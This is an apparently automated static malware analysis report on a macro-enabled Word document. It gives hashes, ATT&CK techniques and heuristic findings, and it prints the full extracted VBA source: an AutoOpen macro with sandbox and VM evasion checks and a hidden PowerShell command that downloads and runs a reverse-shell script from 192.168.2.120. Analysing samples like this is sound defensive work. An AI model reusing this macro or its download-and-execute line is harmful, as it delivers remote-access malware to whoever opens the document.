Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 592fad75e777b23c…

MALICIOUS

Office (OOXML)

20.5 KB Created: 2021-05-27 11:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: 425cade08df337117f2d5a77c8b0a3af SHA-1: bd3aca50b158c4bff746783b3056505896fed5fd SHA-256: 592fad75e777b23c08c4b18ea35b9df5578ced47b1b0303466028e19430611fc
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine that utilizes WScript.Shell to execute obfuscated commands. The heuristics indicate the shell command is decoder-built and contains a URL, suggesting it is designed to download and execute a second-stage payload. The macro also includes checks for sandbox environments like Sandboxie, VMWare, and VirtualBox, attempting to evade detection.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/reverse_shell_120_4444.ps1 Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3228 bytes
SHA-256: bfb0115ba2cb5ecb1c7bee5b9c184e6d9b88f68bec71c260d4c99e4f4570d91b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
 
Sub AutoOpen()

If IsSandBoxiePresent(1) = True Then MsgBox ("OH no Sandboxie is here ...")
If IsvirtualboxPresent(1) = True Then MsgBox ("OH no Virtualbox is here ...")
If IsvmwarePresent(1) = True Then MsgBox ("OH no VMWare is here ...")
If IsSandBoxiePresent(1) = True Then Exit Sub
If IsvirtualboxPresent(1) = True Then Exit Sub
If IsvmwarePresent(1) = True Then Exit Sub
If IsSandBoxiePresent(1) = False Then Call Shello
If IsvmwarePresent(1) = False Then Call Shello
If IsvirtualboxPresent(1) = False Then Call Shello


End Sub

Sub msg()
 MsgBox ("Your are in VM ...")
End Sub
 
 Function IsvirtualboxPresent(ByVal OptionToCheck As Integer) As Boolean
   Select Case OptionToCheck
       Case 1  'Recomendado
           Dim hSbie As Long
 
           hSbie = GetModuleHandle("vmcheck.dll")
           If hSbie <> 0 Then
               IsvirtualboxPresent = True
           Else
               IsvirtualboxPresent = False
           End If
       Case 2  'No recomendado
           If InStr(MainFrm.Caption, "[#]") <> 0 Then
               IsvirtualboxPresent = True
           Else
               IsvirtualboxPresent = False
           End If
   End Select
End Function
 
 
 
 
 
 Function IsvmwarePresent(ByVal OptionToCheck As Integer) As Boolean
   Select Case OptionToCheck
       Case 1  'Recomendado
           Dim hSbie As Long
 
           hSbie = GetModuleHandle("dbghelp.dll")
           If hSbie <> 0 Then
               IsvmwarePresent = True
           Else
               IsvmwarePresent = False
           End If
       Case 2  'No recomendado
           If InStr(MainFrm.Caption, "[#]") <> 0 Then
               IsvmwarePresent = True
           Else
               IsvmwarePresent = False
           End If
   End Select
End Function
 
 
 
 
Function IsSandBoxiePresent(ByVal OptionToCheck As Integer) As Boolean
   Select Case OptionToCheck
       Case 1  'Recomendado
           Dim hSbie As Long
 
           hSbie = GetModuleHandle("SbieDll.dll")
           If hSbie <> 0 Then
               IsSandBoxiePresent = True
           Else
               IsSandBoxiePresent = False
           End If
       Case 2  'No recomendado
           If InStr(MainFrm.Caption, "[#]") <> 0 Then
               IsSandBoxiePresent = True
           Else
               IsSandBoxiePresent = False
           End If
   End Select
End Function

Function Shello()

  Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"

End Function
Sub CheckFileExists()
'
' CheckFileExists Makro
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: 09dc8b6f2644527ddef22bf145ddfdbf4ad7963223dc607c61e90073741cd72e

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